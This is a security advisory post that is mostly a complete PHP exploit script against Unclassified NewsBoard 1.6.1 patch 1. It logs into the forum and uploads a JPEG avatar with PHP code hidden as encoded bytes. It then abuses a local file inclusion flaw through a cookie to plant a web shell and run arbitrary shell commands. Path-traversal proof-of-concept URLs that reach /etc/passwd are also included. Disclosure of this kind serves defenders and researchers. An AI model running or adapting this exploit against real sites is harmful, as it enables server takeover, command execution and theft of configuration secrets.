SecurityReason - Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitrary local inclusion

Advisory Text :

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset]
arbitraryrn";

echo "local inclusionrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

echo "works with register_globals = On & magic_quotes_gpc = Offrnrn";

if ($argc<6) {

echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to UNBrn";

echo "cmd: a shell commandrn";

echo "user/pass: you need a valid user account to upload filesrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." localhost /unb/ your_username password cat
./../board.conf.phprn";

echo "php ".$argv[0]." localhost /unb/ your_username password ls -la
-p81rn";

echo "php ".$argv[0]." localhost / your_username password ls -la
-P1.1.1.1:80rnrn";

die;

}

/* software site: http://newsboard.unclassified.de/

description: "The Unclassified NewsBoard (short UNB) is an open-source,

PHP-based internet bulletin board system"

vulnerable code in unb_lib/abbc.conf.php at lines 635-641:

...

// Smiley Definitions

if ($ABBC['Config']['smileset'])

{

$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' .
$ABBC['Config']['smileset'] . '/';

$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' .
$ABBC['Config']['smileset'] . '/';

@include($ABBC['Config']['smilepath'] . 'config.php');

}

...

$ABBC['Config']['smileset'] var is not initialized before to be used to
include

files. You cannot have access to this code directly but in
unb_lib/abbc.css.php

at line 16 we have:

...

require('abbc.conf.php');

...

this script is not protected by the unb_lib folder .htaccess file:

# Don't allow direct PHP requests in this directory

<Files *.inc.php>

Order allow,deny

Deny from all

</Files>

<Files *.lib.php>

Order allow,deny

Deny from all

</Files>

so, if register_globals = On & magic_quotes_gpc = Off, you can include
files

from local resources, poc:

http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../..
/../../../../../../../etc/passwd%00

http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../..
/upload/avatar_[user_id].jpeg%00&cmd=ls%20-la

http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../..
/upload/photo_[user_id].jpeg%00&cmd=ls%20-la

this script try to include an avatar or photo with malicious php code

inside, you need a valid account to upload files

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$username=$argv[3];

$pass=$argv[4];

$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 0 -> check if suntzu.php is already installed...rn";

$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("rn".$temp[1]."rn");

}

echo "step 1 -> login...rn";

$data ="LoginName=".urlencode(trim($username));

$data.="&LoginPassword=".urlencode(trim($pass));

$packet="POST ".$p."forum.php?req=setuser&module=main HTTP/1.0rn";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(' ',$temp[1]);

$cookie=$temp2[0];

$temp2=explode(' ',$temp[2]);

$cookie.=" ".$temp2[0];

echo 'Your cookie: '.$cookie."rn";

$temp=explode("=",$cookie);

$temp2=explode("+",$temp[2]);

$id=$temp2[0];

echo "User Id -> ".$id."rn";

echo "step 2 -> upload a malicious avatar with php code inside...rn";

$shell=

chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).ch
r(0x70).

chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).ch
r(0x22).

chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).ch
r(0x70).

chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).ch
r(0x29).

chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).ch
r(0x73).

chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).ch
r(0x6f).

chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).ch
r(0x74).

chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x73).

chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).ch
r(0x5f).

chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).ch
r(0x29).

chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).ch
r(0x74).

chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).ch
r(0x71).

chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).ch
r(0x70).

chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).ch
r(0x24).

chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).ch
r(0x5b).

chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).ch
r(0x72).

chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).ch
r(0x65).

chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).ch
r(0x4f).

chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).ch
r(0x5d).

chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).ch
r(0x20).

chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).ch
r(0x61).

chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).ch
r(0x5c).

chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).ch
r(0x45).

chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x65).

chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).ch
r(0x38).

chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).ch
r(0x28).

chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x63).

chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).ch
r(0x75).

chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).ch
r(0x70).

chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).

chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).

chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).

chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).

chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).

chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).

chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x08).

chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).

chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).ch
r(0x00).

chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).ch
r(0x03).

chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).ch
r(0x3f).

chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).ch
r(0x00);

/*

this image has this code inside as EXIF metadata content

<?php

$fp=fopen("suntzu.php","w");

fputs($fp,"<?php error_reporting(0);set_time_limit(0);if
(get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo
56789;passthru($_COOKIE[cmd]);echo 56789;?>");

fclose($fp);

chmod("suntzu.php",777);

?>

*/

$data='-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="action"

edit

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="id"

'.$id.'

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="cat"

postoptions

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="Signature"

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="avatar"

1

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="avatarfile"; filename="suntzu.jpeg"

Content-Type: image/pjpeg

'.$shell.'

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="avatarurl"

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="photofile"; filename="suntzoi.jpeg"

Content-Type: image/pjpeg

'.$shell.'

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="photourl"

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="photo"

1

-----------------------------7d614f2d12043e

Content-Disposition: form-data; name="Save"

Save

-----------------------------7d614f2d12043e--

';

$packet ="POST ".$p."forum.php?req=cp HTTP/1.0rn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d614f2d12043ern";

$packet.="Host: ".$host."rn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: ".$cookie."rnrn";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

echo "step 3 -> try to include avatar or photo...rn";

$xpl=array(

urlencode("../../upload/avatar_".$id.".jpeg".chr(0x00)),

urlencode("../../upload/photo_".$id.".jpeg".chr(0x00))

);

for ($i=0; $i<=count($xpl)-1; $i++)

{

$packet ="GET ".$p."unb_lib/abbc.css.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ABBC[Config][smileset]=".$xpl[$i]."; rn"; //pass evil var
through cookies

$packet.="Connection: Closernrn";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

}

echo "step 4 -> Launch commands...rn";

$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("rn".$temp[1]."rn");

}

//if you are here...

echo "Exploit failed...";

?>

original url:

http://retrogod.altervista.org/unb_161p1_incl_xpl.html